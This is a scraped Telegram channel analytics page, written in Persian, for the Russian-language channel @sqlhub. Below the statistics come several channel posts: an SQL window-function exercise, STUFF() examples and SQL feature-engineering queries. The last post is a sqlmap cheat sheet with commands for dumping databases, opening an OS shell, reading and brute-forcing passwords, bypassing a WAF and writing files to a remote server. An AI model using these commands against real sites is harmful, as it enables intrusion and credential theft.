Data Science. SQL hub
По всем вопросам- @workakkk @itchannels_telegram - 🔥лучшие ит-каналы @ai_machinelearning_big_data - Machine learning @pythonl - Python @pythonlbooks- python книги📚 @datascienceiot - ml книги📚 РКН: https://vk.cc/cIi9vo #VRHSZ
نمایش بیشتر📈 تحلیل کانال تلگرام Data Science. SQL hub
کانال Data Science. SQL hub (@sqlhub) در بخش زبانی روسی بازیگری فعال است. در حال حاضر جامعه شامل 36 078 مشترک است و جایگاه 3 727 را در دسته فناوری و برنامهها و رتبه 17 610 را در منطقه روسيا دارد.
📊 شاخصهای مخاطب و پویایی
از زمان ایجاد در невідомо، پروژه رشد سریعی داشته و 36 078 مشترک جذب کرده است.
بر اساس آخرین دادهها در تاریخ 31 اکتبر, 2026، کانال فعالیت پایداری دارد. در ۳۰ روز گذشته تغییر اعضا برابر 143 و در ۲۴ ساعت گذشته برابر -13 بوده و همچنان دسترسی گستردهای حفظ شده است.
- وضعیت تأیید: تأیید نشده
- نرخ تعامل (ER): میانگین تعامل مخاطب 8.65% است و در ۲۴ ساعت نخست پس از انتشار، محتوا معمولاً 3.79% واکنش نسبت به کل مشترکان کسب میکند.
- دسترسی پستها: هر پست به طور میانگین 3 123 بازدید دریافت میکند. در اولین روز معمولاً 1 369 بازدید جمعآوری میشود.
- واکنشها و تعامل: مخاطبان بهطور فعال حمایت میکنند؛ میانگین واکنش به هر پست 8 است.
- علایق موضوعی: محتوا بر موضوعات کلیدی مانند sql, индекс, postgres, index, sqlite تمرکز دارد.
📝 توضیح و سیاست محتوایی
نویسنده این فضا را محل بیان دیدگاههای شخصی توصیف میکند:
“По всем вопросам- @workakkk
@itchannels_telegram - 🔥лучшие ит-каналы
@ai_machinelearning_big_data - Machine learning
@pythonl - Python
@pythonlbooks- python книги📚
@datascienceiot - ml книги📚
РКН: https://vk.cc/cIi9vo
#VRHSZ”
به لطف بهروزرسانیهای پرتکرار (آخرین داده در تاریخ 01 نوامبر, 2026)، کانال همواره بهروز و دارای دسترسی بالاست. تحلیلها نشان میدهد مخاطبان بهطور فعال با محتوا تعامل دارند و آن را به نقطه اثرگذاری مهم در دسته فناوری و برنامهها تبدیل کردهاند.
CREATE TABLE sales (
sale_id INT PRIMARY KEY,
product_id INT,
sale_date DATE,
sale_amount INT
);
CREATE TABLE products (
product_id INT PRIMARY KEY,
category VARCHAR(50),
price DECIMAL(10, 2)
);
🌟 Таблица sales содержит информацию о продажах: ID продажи (sale_id), ID продукта (product_id), дата продажи (sale_date) и количество проданных единиц (sale_amount)
🌟 Таблица products хранит данные о продуктах: ID продукта (product_id), категория продукта (category) и цена (price)
❓ Нужно создать запрос, который выполнит следующие действия:
🌟 Найти самую популярную категорию товаров по количеству продаж в каждом месяце.
🌟 Вывести результаты по месяцам, начиная с самого первого месяца продаж.
🌟 В каждой строке указать:
- Месяц (sale_month)
- Название категории (category)
- Общее количество проданных товаров в этой категории за месяц (total_sales)
- Разницу (difference) между текущими продажами категории и продажами этой же категории в предыдущем месяце. Если предыдущего месяца нет, вывести NULL
❗️ Решение:
WITH MonthlySales AS (
SELECT
DATE_FORMAT(sale_date, '%Y-%m') AS sale_month,
p.category,
SUM(sale_amount) AS total_sales
FROM sales s
JOIN products p ON s.product_id = p.product_id
GROUP BY DATE_FORMAT(sale_date, '%Y-%m'), p.category
),
RankedCategories AS (
SELECT
sale_month,
category,
total_sales,
ROW_NUMBER() OVER (PARTITION BY sale_month ORDER BY total_sales DESC) AS sales_rank
FROM MonthlySales
),
PopularCategories AS (
SELECT
sale_month,
category,
total_sales
FROM RankedCategories
WHERE sales_rank = 1
),
CategoryWithDifference AS (
SELECT
sale_month,
category,
total_sales,
LAG(total_sales, 1) OVER (PARTITION BY category ORDER BY sale_month) AS previous_sales
FROM PopularCategories
)
SELECT
sale_month,
category,
total_sales,
total_sales - previous_sales AS difference
FROM CategoryWithDifference
ORDER BY sale_month;
💡 Как это работает:
🌟 MonthlySales: Подзапрос агрегирует данные продаж по месяцам и категориям товаров, чтобы получить общее количество продаж (total_sales) в каждом месяце.
🌟 RankedCategories: Присваивает каждой категории её ранг (ROW_NUMBER()) в зависимости от количества продаж в месяц.
🌟 PopularCategories: Фильтрует только самую популярную категорию (с sales_rank = 1) для каждого месяца.
🌟 CategoryWithDifference: Использует оконную функцию LAG() для расчета разницы между продажами в текущем месяце и предыдущем
@sqlhubSELECT STUFF('Hello World', 7, 5, 'SQL') AS Result;
🌟 Результат: Hello SQL
🔍 Объяснение:
🌟 Начальная позиция: 7 — замена начинается с 7-го символа (буква W).
🌟 Длина: 5 — удаляем 5 символов (World).
🌟 Замещающая строка: 'SQL' — вставляем вместо удалённой подстроки
💡 Другой пример: иногда STUFF() используется совместно с другими функциями для создания строк с разделителями. Например, объединим значения из нескольких строк в одну строку через запятую:
SELECT
DepartmentID,
STUFF(
(SELECT ',' + EmployeeName
FROM Employees
WHERE DepartmentID = E.DepartmentID
FOR XML PATH('')),
1, 1, '') AS EmployeesList
FROM Employees E
GROUP BY DepartmentID;
🌟 В данном примере STUFF() удаляет первый символ запятой и создает аккуратный список сотрудников для каждого отдела
@sqlhub-- Выбираем транзакции с суммой выше среднего и сгруппированные по пользователям
SELECT user_id, AVG(transaction_amount) AS avg_amount
FROM transactions
GROUP BY user_id
HAVING AVG(transaction_amount) > (
SELECT AVG(transaction_amount) FROM transactions
);
Это простой запрос, но он помогает сразу увидеть клиентов, у которых уровень трат выше среднего.
🖥 2. Feature Engineering с SQL
Формирование признаков — ключевой этап для создания моделей. Используя SQL, можно легко создавать категориальные признаки, вычислять периоды между событиями и генерировать агрегированные значения.
Например, создание признака активности пользователя:
-- Количество покупок за последние 30 дней
SELECT user_id, COUNT(*) AS purchases_last_30_days
FROM purchases
WHERE purchase_date >= DATE_SUB(CURDATE(), INTERVAL 30 DAY)
GROUP BY user_id;
Такой запрос может быть полезен для прогнозирования оттока клиентов.
📈 3. Анализ временных рядов
Работа с временными рядами — это отдельная задача. SQL поддерживает такие функции, как скользящие средние и кумулятивные суммы.
-- Построение 7-дневного скользящего среднего по продажам
SELECT
sales_date,
sales_amount,
AVG(sales_amount) OVER (ORDER BY sales_date ROWS BETWEEN 6 PRECEDING AND CURRENT ROW) AS moving_avg_7_days
FROM sales_data;
Используя такие функции, можно получать первичный анализ временных рядов прямо из базы данных, без перехода к pandas или другим библиотекам.
📊 4. Построение аналитических отчетов
SQL — отличный инструмент для создания дашбордов и отчетов. Используя CTE (Common Table Expressions), подзапросы и оконные функции, можно строить сложные отчеты, которые сразу дадут глубокое понимание данных.
WITH monthly_sales AS (
SELECT
EXTRACT(MONTH FROM sales_date) AS month,
SUM(sales_amount) AS total_sales
FROM sales_data
GROUP BY EXTRACT(MONTH FROM sales_date)
)
SELECT
month,
total_sales,
LAG(total_sales) OVER (ORDER BY month) AS previous_month_sales,
total_sales - LAG(total_sales) OVER (ORDER BY month) AS growth
FROM monthly_sales;
Этот запрос позволит сразу увидеть динамику продаж по месяцам и рост относительно предыдущего периода
@sqlhub
sqlmap -u "http://example.com/page.php?id=1"
🌟 Автоматический дамп всех баз данных:
sqlmap -u "http://example.com/page.php?id=1" --dbs
🌟 Извлечение таблиц из конкретной базы данных:
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных --tables
🌟 Извлечение данных из конкретной таблицы:
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --dump
🌟 Обход WAF (брандмауэра) с помощью указания пользовательского заголовка User-Agent:
sqlmap -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0"
🌟 Подбор базы данных и получение информации о пользователях:
sqlmap -u "http://example.com/page.php?id=1" --current-db --current-user
🌟 Включение интерактивной оболочки (OS Shell) для удаленного выполнения команд:
sqlmap -u "http://example.com/page.php?id=1" --os-shell
🌟 Выполнение SQL-запросов вручную:
sqlmap -u "http://example.com/page.php?id=1" --sql-query "SELECT user, password FROM users"
🌟 Проверка на возможность подключения с правами администратора:
sqlmap -u "http://example.com/page.php?id=1" --is-dba
🌟 Брутфорсирование паролей пользователей:
sqlmap -u "http://example.com/page.php?id=1" --passwords
🌟 Загрузка файла на удаленный сервер:
sqlmap -u "http://example.com/page.php?id=1" --file-write="/path/to/local/file" --file-dest="/path/to/remote/file"
🌟 Получение списка столбцов из таблицы:
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --columns
🌟 Использование прокси-сервера:
sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"
🌟 Определение используемой базы данных и версии:
sqlmap -u "http://example.com/page.php?id=1" --banner
🌟 Атака на POST-запросы (если параметры передаются в теле):
sqlmap -u "http://example.com/login.php" --data="username=admin&password=admin"
@sqlhub